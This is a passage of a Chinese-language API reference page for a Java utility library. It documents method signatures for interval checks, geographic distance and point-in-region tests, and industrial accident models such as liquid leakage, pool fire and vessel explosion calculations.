isInTheInterval(java.lang.String dataValue,</span><br><span class="line">                                      java.lang.String interval)</span><br><span class="line">判断dataValue是否在interval区间范围内</span><br><span class="line">参数:</span><br><span class="line">dataValue - 数值类型的</span><br><span class="line">interval - 正常的数学区间，包括无穷大等，如：(1,3)、more than 5%、(-∞,6]、(125%,135%)U(70%,80%)</span><br><span class="line">返回:</span><br><span class="line">true：表示dataValue在区间interval范围内，false：表示dataValue不在区间interval范围内</span><br></pre></td></tr></table></figure><h4 id="判断是否在全闭区间内-checkInAllCloseInterval">判断是否在全闭区间内 checkInAllCloseInterval</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">public static boolean checkInAllCloseInterval(java.lang.Double min,</span><br><span class="line">                                              java.lang.Double max,</span><br><span class="line">                                              java.lang.Double checkNum)</span><br><span class="line">全闭区间</span><br><span class="line">判断是否在全闭区间内</span><br><span class="line"></span><br><span class="line">参数:</span><br><span class="line">min - 最小值</span><br><span class="line">max - 最大值</span><br><span class="line">checkNum - 校验值</span><br><span class="line">返回:</span><br><span class="line">true 区间内 false 不在区间内</span><br></pre></td></tr></table></figure><h4 id="判断是否在全开区间内-checkInAllOpenInterval">判断是否在全开区间内 checkInAllOpenInterval</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">public static boolean checkInAllOpenInterval(java.lang.Double min,</span><br><span class="line">                                             java.lang.Double max,</span><br><span class="line">                                             java.lang.Double checkNum)</span><br><span class="line">全开区间</span><br><span class="line">判断是否在全开区间内</span><br><span class="line"></span><br><span class="line">参数:</span><br><span class="line">min - 最小值</span><br><span class="line">max - 最大值</span><br><span class="line">checkNum - 校验值</span><br><span class="line">返回:</span><br><span class="line">true 区间内 false 不在区间内</span><br></pre></td></tr></table></figure><h4 id="判断是否在左闭右开区间内-checkInLeftCloseInterval">判断是否在左闭右开区间内 checkInLeftCloseInterval</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">public static boolean checkInLeftCloseInterval(java.lang.Double min,</span><br><span class="line">                                               java.lang.Double max,</span><br><span class="line">                                               java.lang.Double checkNum)</span><br><span class="line">左闭右开区间</span><br><span class="line">判断是否在左闭右开区间内</span><br><span class="line"></span><br><span class="line">参数:</span><br><span class="line">min - 最小值</span><br><span class="line">max - 最大值</span><br><span class="line">checkNum - 校验值</span><br><span class="line">返回:</span><br><span class="line">true 区间内 false 不在区间内</span><br></pre></td></tr></table></figure><h4 id="判断是否在左开右闭区间区间内-checkInRightCloseInterval">判断是否在左开右闭区间区间内 checkInRightCloseInterval</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">public static boolean checkInRightCloseInterval(java.lang.Double min,</span><br><span class="line">                                                java.lang.Double max,</span><br><span class="line">                                                java.lang.Double checkNum)</span><br><span class="line">左开右闭区间</span><br><span class="line">判断是否在左开右闭区间区间内</span><br><span class="line"></span><br><span class="line">参数:</span><br><span class="line">min - 最小值</span><br><span class="line">max - 最大值</span><br><span class="line">checkNum - 校验值</span><br><span class="line">返回:</span><br><span class="line">true 区间内 false 不在区间内</span><br></pre></td></tr></table></figure><h3 id="液体泄漏模型-LiquidLeakageUtil">液体泄漏模型 LiquidLeakageUtil</h3><h4 id="质量流率-count">质量流率 count</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">public java.lang.Double count(double p,</span><br><span class="line">                              double a,</span><br><span class="line">                              double hl)</span><br><span class="line">质量流率</span><br><span class="line">参数:</span><br><span class="line">p - 液体密度 kg/m3</span><br><span class="line">a - 泄漏孔面积 m2</span><br><span class="line">hl - 泄漏孔上方液体高度 m</span><br><span class="line">返回:</span><br><span class="line">与泄漏时间相乘后即为泄漏的液体质量 kg/s</span><br></pre></td></tr></table></figure><h3 id="经纬度操作-LngLatUtil">经纬度操作 LngLatUtil</h3><h4 id="计算两个经纬度位置距离-带扁率校准-getDistanceOfMeter">计算两个经纬度位置距离(带扁率校准) getDistanceOfMeter</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">public double getDistanceOfMeter(double startLng,</span><br><span class="line">                                 double startLat,</span><br><span class="line">                                 double endLng,</span><br><span class="line">                                 double endLat)</span><br><span class="line">计算两个经纬度位置距离(带扁率校准)</span><br><span class="line">参数:</span><br><span class="line">startLng - 起始经度</span><br><span class="line">startLat - 起始纬度</span><br><span class="line">endLng - 结束经度</span><br><span class="line">endLat - 结束纬度</span><br><span class="line">返回:</span><br><span class="line">距离 米</span><br></pre></td></tr></table></figure><h4 id="计算经纬度距离（不带扁率校准-默认为WGS84坐标）-getDistance">计算经纬度距离（不带扁率校准, 默认为WGS84坐标） getDistance</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">public double getDistance(double startLng,</span><br><span class="line">                          double startLat,</span><br><span class="line">                          double endLng,</span><br><span class="line">                          double endLat)</span><br><span class="line">计算经纬度距离（不带扁率校准, 默认为WGS84坐标）</span><br><span class="line">参数:</span><br><span class="line">startLng - 起始经度</span><br><span class="line">startLat - 起始纬度</span><br><span class="line">endLng - 结束经度</span><br><span class="line">endLat - 结束纬度</span><br><span class="line">返回:</span><br><span class="line">相差距离</span><br></pre></td></tr></table></figure><h4 id="计算经纬度-带入坐标系进行判断后计算-getDistance">计算经纬度 带入坐标系进行判断后计算 getDistance</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">public double getDistance(double startLng,</span><br><span class="line">                          double startLat,</span><br><span class="line">                          double endLng,</span><br><span class="line">                          double endLat,</span><br><span class="line">                          CoordinateSystemEnum coordinateSystemEnum)</span><br><span class="line">计算经纬度 带入坐标系进行判断后计算</span><br><span class="line">参数:</span><br><span class="line">startLng - 起始经度</span><br><span class="line">startLat - 起始纬度</span><br><span class="line">endLng - 结束经度</span><br><span class="line">endLat - 结束纬度</span><br><span class="line">coordinateSystemEnum - 坐标系枚举</span><br><span class="line">返回:</span><br><span class="line">相差距离</span><br></pre></td></tr></table></figure><h4 id="根据一点的坐标与距离，以及方向，计算另外一点的位置（不带入扁率）正北0度即为纬度轴-横向为经度轴-calLocationByDistanceAndLocationAndDirection">根据一点的坐标与距离，以及方向，计算另外一点的位置（不带入扁率）正北0度即为纬度轴,横向为经度轴 calLocationByDistanceAndLocationAndDirection</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">public java.util.Map&lt;java.lang.String,java.lang.Double&gt; calLocationByDistanceAndLocationAndDirection(double angle,</span><br><span class="line">                                                                                                     double startLng,</span><br><span class="line">                                                                                                     double startLat,</span><br><span class="line">                                                                                                     double distance)</span><br><span class="line">根据一点的坐标与距离，以及方向，计算另外一点的位置（不带入扁率）正北0度即为纬度轴,横向为经度轴</span><br><span class="line">参数:</span><br><span class="line">angle - 角度，从正北顺时针方向开始计算</span><br><span class="line">startLng - 起始点经度</span><br><span class="line">startLat - 起始点纬度</span><br><span class="line">distance - 距离，单位m</span><br><span class="line">返回:</span><br><span class="line">经纬度map</span><br></pre></td></tr></table></figure><h4 id="带入坐标系计算距离角度外的一点-calLocationByDistanceAndLocationAndDirection">带入坐标系计算距离角度外的一点 calLocationByDistanceAndLocationAndDirection</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line">public java.util.Map&lt;java.lang.String,java.lang.Double&gt; calLocationByDistanceAndLocationAndDirection(double angle,</span><br><span class="line">                                                                                                     double startLng,</span><br><span class="line">                                                                                                     double startLat,</span><br><span class="line">                                                                                                     double distance,</span><br><span class="line">                                                                                                     CoordinateSystemEnum coordinateSystemEnum)</span><br><span class="line">带入坐标系计算距离角度外的一点</span><br><span class="line">根据一点的坐标与距离，以及方向，计算另外一点的位置（不带入扁率）正北0度即为纬度轴,横向为经度轴</span><br><span class="line"></span><br><span class="line">参数:</span><br><span class="line">angle - 角度，从正北顺时针方向开始计算</span><br><span class="line">startLng - 起始点经度</span><br><span class="line">startLat - 起始点纬度</span><br><span class="line">distance - 距离，单位m</span><br><span class="line">coordinateSystemEnum - 坐标系</span><br><span class="line">返回:</span><br><span class="line">经纬度map</span><br></pre></td></tr></table></figure><h4 id="判断一个点是否在圆形区域内-isInCircle">判断一个点是否在圆形区域内 isInCircle</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">public static boolean isInCircle(double lng1,</span><br><span class="line">                                 double lat1,</span><br><span class="line">                                 double lng2,</span><br><span class="line">                                 double lat2,</span><br><span class="line">                                 double radius)</span><br><span class="line">判断一个点是否在圆形区域内</span><br><span class="line">参数:</span><br><span class="line">lat1 - 圆心纬度</span><br><span class="line">lng1 - 圆心经度</span><br><span class="line">lat2 - 坐标纬度</span><br><span class="line">lng2 - 坐标经度</span><br><span class="line">radius - 需要计算的半径d</span><br><span class="line">返回:</span><br><span class="line">true 在范围内 false 不在范围内</span><br></pre></td></tr></table></figure><h4 id="判断一个点是否在圆形区域内-带入坐标系-isInCircle">判断一个点是否在圆形区域内 带入坐标系 isInCircle</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line">public static boolean isInCircle(double lng1,</span><br><span class="line">                                 double lat1,</span><br><span class="line">                                 double lng2,</span><br><span class="line">                                 double lat2,</span><br><span class="line">                                 double radius,</span><br><span class="line">                                 CoordinateSystemEnum coordinateSystemEnum)</span><br><span class="line">判断一个点是否在圆形区域内 带入坐标系</span><br><span class="line">参数:</span><br><span class="line">lat1 - 圆心纬度</span><br><span class="line">lng1 - 圆心经度</span><br><span class="line">lat2 - 坐标纬度</span><br><span class="line">lng2 - 坐标经度</span><br><span class="line">radius - 需要计算的半径</span><br><span class="line">coordinateSystemEnum - 坐标系</span><br><span class="line">返回:</span><br><span class="line">true 在范围内 false 不在范围内</span><br></pre></td></tr></table></figure><h4 id="判断是否在多边形区域内-isInPolygon">判断是否在多边形区域内 isInPolygon</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">public static boolean isInPolygon(double pointLon,</span><br><span class="line">                                  double pointLat,</span><br><span class="line">                                  cn.hutool.json.JSONArray points)</span><br><span class="line">判断是否在多边形区域内</span><br><span class="line">参数:</span><br><span class="line">pointLon - 要判断的点的纵坐标</span><br><span class="line">pointLat - 要判断的点的横坐标</span><br><span class="line">points - 经纬度json数组 &quot;[&#123;\&quot;x\&quot;:120.61123416,\&quot;y\&quot;:31.32889074,\&quot;z\&quot;:137.05&#125;,&#123;\&quot;x\&quot;:120.61312695,\&quot;y\&quot;:31.31892631,\&quot;z\&quot;:128.61&#125;,&#123;\&quot;x\&quot;:120.61455616,\&quot;y\&quot;:31.30808702,\&quot;z\&quot;:43.66&#125;,&#123;\&quot;x\&quot;:120.62127327,\&quot;y\&quot;:31.30899876,\&quot;z\&quot;:62.21&#125;,&#123;\&quot;x\&quot;:120.63003506,\&quot;y\&quot;:31.31057071,\&quot;z\&quot;:29.43&#125;,&#123;\&quot;x\&quot;:120.63726235,\&quot;y\&quot;:31.31203339,\&quot;z\&quot;:92.90&#125;,&#123;\&quot;x\&quot;:120.64536616,\&quot;y\&quot;:31.31334188,\&quot;z\&quot;:78.36&#125;,&#123;\&quot;x\&quot;:120.64402082,\&quot;y\&quot;:31.31947999,\&quot;z\&quot;:13.19&#125;,&#123;\&quot;x\&quot;:120.64136126,\&quot;y\&quot;:31.32757908,\&quot;z\&quot;:87.36&#125;,&#123;\&quot;x\&quot;:120.63689776,\&quot;y\&quot;:31.33287239,\&quot;z\&quot;:60.62&#125;,&#123;\&quot;x\&quot;:120.63502091,\&quot;y\&quot;:31.33742080,\&quot;z\&quot;:114.21&#125;,&#123;\&quot;x\&quot;:120.63071787,\&quot;y\&quot;:31.33793104,\&quot;z\&quot;:32.99&#125;,&#123;\&quot;x\&quot;:120.62952446,\&quot;y\&quot;:31.34483170,\&quot;z\&quot;:164.79&#125;,&#123;\&quot;x\&quot;:120.62710968,\&quot;y\&quot;:31.34801804,\&quot;z\&quot;:164.15&#125;,&#123;\&quot;x\&quot;:120.62731359,\&quot;y\&quot;:31.34823458,\&quot;z\&quot;:189.53&#125;,&#123;\&quot;x\&quot;:120.62700980,\&quot;y\&quot;:31.34894193,\&quot;z\&quot;:194.24&#125;,&#123;\&quot;x\&quot;:120.62700980,\&quot;y\&quot;:31.34894193,\&quot;z\&quot;:194.24&#125;,&#123;\&quot;x\&quot;:120.62700980,\&quot;y\&quot;:31.34894193,\&quot;z\&quot;:194.24&#125;,&#123;\&quot;x\&quot;:120.62665860,\&quot;y\&quot;:31.34861797,\&quot;z\&quot;:155.41&#125;,&#123;\&quot;x\&quot;:120.61706620,\&quot;y\&quot;:31.34846463,\&quot;z\&quot;:200.05&#125;,&#123;\&quot;x\&quot;:120.61854348,\&quot;y\&quot;:31.34267516,\&quot;z\&quot;:138.68&#125;,&#123;\&quot;x\&quot;:120.62111689,\&quot;y\&quot;:31.33313042,\&quot;z\&quot;:154.61&#125;]&quot;</span><br><span class="line">返回:</span><br><span class="line">true 在范围内 false 不在范围内</span><br></pre></td></tr></table></figure><h4 id="判断是否在多边形区域内-isInPolygon-2">判断是否在多边形区域内 isInPolygon</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">public static boolean isInPolygon(double pointLon,</span><br><span class="line">                                  double pointLat,</span><br><span class="line">                                  cn.hutool.json.JSONArray points,</span><br><span class="line">                                  CoordinateSystemEnum coordinateSystemEnum)</span><br><span class="line">判断是否在多边形区域内</span><br><span class="line">参数:</span><br><span class="line">pointLon - 要判断的点的纵坐标</span><br><span class="line">pointLat - 要判断的点的横坐标</span><br><span class="line">points - 经纬度json数组 &quot;[&#123;\&quot;x\&quot;:120.61123416,\&quot;y\&quot;:31.32889074,\&quot;z\&quot;:137.05&#125;,&#123;\&quot;x\&quot;:120.61312695,\&quot;y\&quot;:31.31892631,\&quot;z\&quot;:128.61&#125;,&#123;\&quot;x\&quot;:120.61455616,\&quot;y\&quot;:31.30808702,\&quot;z\&quot;:43.66&#125;,&#123;\&quot;x\&quot;:120.62127327,\&quot;y\&quot;:31.30899876,\&quot;z\&quot;:62.21&#125;,&#123;\&quot;x\&quot;:120.63003506,\&quot;y\&quot;:31.31057071,\&quot;z\&quot;:29.43&#125;,&#123;\&quot;x\&quot;:120.63726235,\&quot;y\&quot;:31.31203339,\&quot;z\&quot;:92.90&#125;,&#123;\&quot;x\&quot;:120.64536616,\&quot;y\&quot;:31.31334188,\&quot;z\&quot;:78.36&#125;,&#123;\&quot;x\&quot;:120.64402082,\&quot;y\&quot;:31.31947999,\&quot;z\&quot;:13.19&#125;,&#123;\&quot;x\&quot;:120.64136126,\&quot;y\&quot;:31.32757908,\&quot;z\&quot;:87.36&#125;,&#123;\&quot;x\&quot;:120.63689776,\&quot;y\&quot;:31.33287239,\&quot;z\&quot;:60.62&#125;,&#123;\&quot;x\&quot;:120.63502091,\&quot;y\&quot;:31.33742080,\&quot;z\&quot;:114.21&#125;,&#123;\&quot;x\&quot;:120.63071787,\&quot;y\&quot;:31.33793104,\&quot;z\&quot;:32.99&#125;,&#123;\&quot;x\&quot;:120.62952446,\&quot;y\&quot;:31.34483170,\&quot;z\&quot;:164.79&#125;,&#123;\&quot;x\&quot;:120.62710968,\&quot;y\&quot;:31.34801804,\&quot;z\&quot;:164.15&#125;,&#123;\&quot;x\&quot;:120.62731359,\&quot;y\&quot;:31.34823458,\&quot;z\&quot;:189.53&#125;,&#123;\&quot;x\&quot;:120.62700980,\&quot;y\&quot;:31.34894193,\&quot;z\&quot;:194.24&#125;,&#123;\&quot;x\&quot;:120.62700980,\&quot;y\&quot;:31.34894193,\&quot;z\&quot;:194.24&#125;,&#123;\&quot;x\&quot;:120.62700980,\&quot;y\&quot;:31.34894193,\&quot;z\&quot;:194.24&#125;,&#123;\&quot;x\&quot;:120.62665860,\&quot;y\&quot;:31.34861797,\&quot;z\&quot;:155.41&#125;,&#123;\&quot;x\&quot;:120.61706620,\&quot;y\&quot;:31.34846463,\&quot;z\&quot;:200.05&#125;,&#123;\&quot;x\&quot;:120.61854348,\&quot;y\&quot;:31.34267516,\&quot;z\&quot;:138.68&#125;,&#123;\&quot;x\&quot;:120.62111689,\&quot;y\&quot;:31.33313042,\&quot;z\&quot;:154.61&#125;]&quot;</span><br><span class="line">coordinateSystemEnum - 坐标系</span><br><span class="line">返回:</span><br><span class="line">true 在范围内 false 不在范围内</span><br></pre></td></tr></table></figure><h4 id="计算是否在扇形区域内-isInSector">计算是否在扇形区域内 isInSector</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line">public static boolean isInSector(double startLng,</span><br><span class="line">                                 double startLat,</span><br><span class="line">                                 double angel,</span><br><span class="line">                                 double diffuse,</span><br><span class="line">                                 double checkLng,</span><br><span class="line">                                 double checkLat)</span><br><span class="line">计算是否在扇形区域内</span><br><span class="line">参数:</span><br><span class="line">startLng - 起始经度</span><br><span class="line">startLat - 其实纬度</span><br><span class="line">angel - 需要计算的角度</span><br><span class="line">diffuse - 计算角度向两边扩散度数</span><br><span class="line">checkLng - 需要校验的经度</span><br><span class="line">checkLat - 需要校验的纬度</span><br><span class="line">返回:</span><br><span class="line">true 在扇形范围内 false 不在扇形范围内</span><br></pre></td></tr></table></figure><h4 id="计算是否在扇形区域内-isInSector-2">计算是否在扇形区域内 isInSector</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line">public static boolean isInSector(double startLng,</span><br><span class="line">                                 double startLat,</span><br><span class="line">                                 double angel,</span><br><span class="line">                                 double diffuse,</span><br><span class="line">                                 double checkLng,</span><br><span class="line">                                 double checkLat,</span><br><span class="line">                                 java.lang.Double distance)</span><br><span class="line">计算是否在扇形区域内</span><br><span class="line">参数:</span><br><span class="line">startLng - 起始经度</span><br><span class="line">startLat - 其实纬度</span><br><span class="line">angel - 需要计算的角度</span><br><span class="line">diffuse - 计算角度向两边扩散度数</span><br><span class="line">checkLng - 需要校验的经度</span><br><span class="line">checkLat - 需要校验的纬度</span><br><span class="line">distance - 计算距离</span><br><span class="line">返回:</span><br><span class="line">true 在扇形范围内 false 不在扇形范围内</span><br></pre></td></tr></table></figure><h4 id="根据一点的坐标与距离，以及方向，计算另外一点的位置（不带入扁率）正北0度即为纬度轴-横向为经度轴-calLocationByDistanceAndLocationAndDirection-2">根据一点的坐标与距离，以及方向，计算另外一点的位置（不带入扁率）正北0度即为纬度轴,横向为经度轴 calLocationByDistanceAndLocationAndDirection</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">public Point3D calLocationByDistanceAndLocationAndDirection(double angle,</span><br><span class="line">                                                            Point3D point3D,</span><br><span class="line">                                                            double distance)</span><br><span class="line">根据一点的坐标与距离，以及方向，计算另外一点的位置（不带入扁率）正北0度即为纬度轴,横向为经度轴</span><br><span class="line">参数:</span><br><span class="line">angle，从正北顺时针方向开始计算 -</span><br><span class="line">point3D - 计算位置的</span><br><span class="line">distance - 距离，单位m</span><br><span class="line">返回:</span><br><span class="line">经纬度map</span><br></pre></td></tr></table></figure><h4 id="求一点相对于另一点旋转一定角度后的坐标-route">求一点相对于另一点旋转一定角度后的坐标 route</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">public static java.lang.Double[] route(java.lang.Double[] cenerPoint,</span><br><span class="line">                                       java.lang.Double[] point,</span><br><span class="line">                                       java.lang.Double legel)</span><br><span class="line">求一点相对于另一点旋转一定角度后的坐标</span><br><span class="line">参数:</span><br><span class="line">cenerPoint - 中心点</span><br><span class="line">point - 待旋转的点</span><br><span class="line">legel - 旋转角度</span><br><span class="line">返回:</span><br><span class="line">坐标数组</span><br></pre></td></tr></table></figure><h4 id="偏移-依照墨卡托坐标计算-deviation">偏移 依照墨卡托坐标计算 deviation</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">public static java.lang.Double[] deviation(java.lang.Double[] pointMercator)</span><br><span class="line">偏移 依照墨卡托坐标计算</span><br><span class="line">参数:</span><br><span class="line">pointMercator - 点位</span><br><span class="line">返回:</span><br><span class="line">墨卡托坐标数组</span><br></pre></td></tr></table></figure><h3 id="模型综合计算的工具类-ModelUtil">模型综合计算的工具类 ModelUtil</h3><h4 id="池火灾事故计算模型-poolFire">池火灾事故计算模型 poolFire</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line">public java.util.Set&lt;SpacePoint&gt; poolFire(double g,</span><br><span class="line">                                          double p0,</span><br><span class="line">                                          double n,</span><br><span class="line">                                          double hc,</span><br><span class="line">                                          double m,</span><br><span class="line">                                          double d,</span><br><span class="line">                                          double lng,</span><br><span class="line">                                          double lat,</span><br><span class="line">                                          double height,</span><br><span class="line">                                          double distance,</span><br><span class="line">                                          double extendDistance)</span><br><span class="line">池火灾事故计算模型</span><br><span class="line">参数:</span><br><span class="line">g - 重力加速度，取9.8m/s2</span><br><span class="line">p0 - 空气密度，kg/m3</span><br><span class="line">n - 效率因子 取值为0.13-0.35</span><br><span class="line">hc - 液体燃烧热，kJ/kg</span><br><span class="line">m - 单位池面积质量燃烧率 kg/(m2·s)</span><br><span class="line">d - 液池直径，m</span><br><span class="line">lng - 起火中心点经度</span><br><span class="line">lat - 起火中心点纬度</span><br><span class="line">height - 起火中心点高度</span><br><span class="line">distance - 扩散距离</span><br><span class="line">extendDistance - 子扩散距离用于渲染</span><br><span class="line">返回:</span><br><span class="line">空间点(经纬度, 高度) 和所在位置浓度</span><br></pre></td></tr></table></figure><h4 id="水平方向喷射火模型计算-horizontalFire">水平方向喷射火模型计算 horizontalFire</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line">public java.util.Set&lt;SpacePoint&gt; horizontalFire(double hc,</span><br><span class="line">                                                double m,</span><br><span class="line">                                                double lng,</span><br><span class="line">                                                double lat,</span><br><span class="line">                                                double height,</span><br><span class="line">                                                double distance,</span><br><span class="line">                                                double extendDistance)</span><br><span class="line">水平方向喷射火模型计算</span><br><span class="line">参数:</span><br><span class="line">hc - 燃烧热 kJ/kg</span><br><span class="line">m - 质量流速 kg/s</span><br><span class="line">lng - 起火中心点经度</span><br><span class="line">lat - 起火中心点纬度</span><br><span class="line">height - 起火中心点高度</span><br><span class="line">distance - 扩散距离</span><br><span class="line">extendDistance - 子扩散距离用于渲染</span><br><span class="line">返回:</span><br><span class="line">空间点中热辐射通量 Kw/m2</span><br></pre></td></tr></table></figure><h4 id="容器爆炸模型计算-vesselExplosion">容器爆炸模型计算 vesselExplosion</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line">public java.util.Set&lt;SpacePoint&gt; 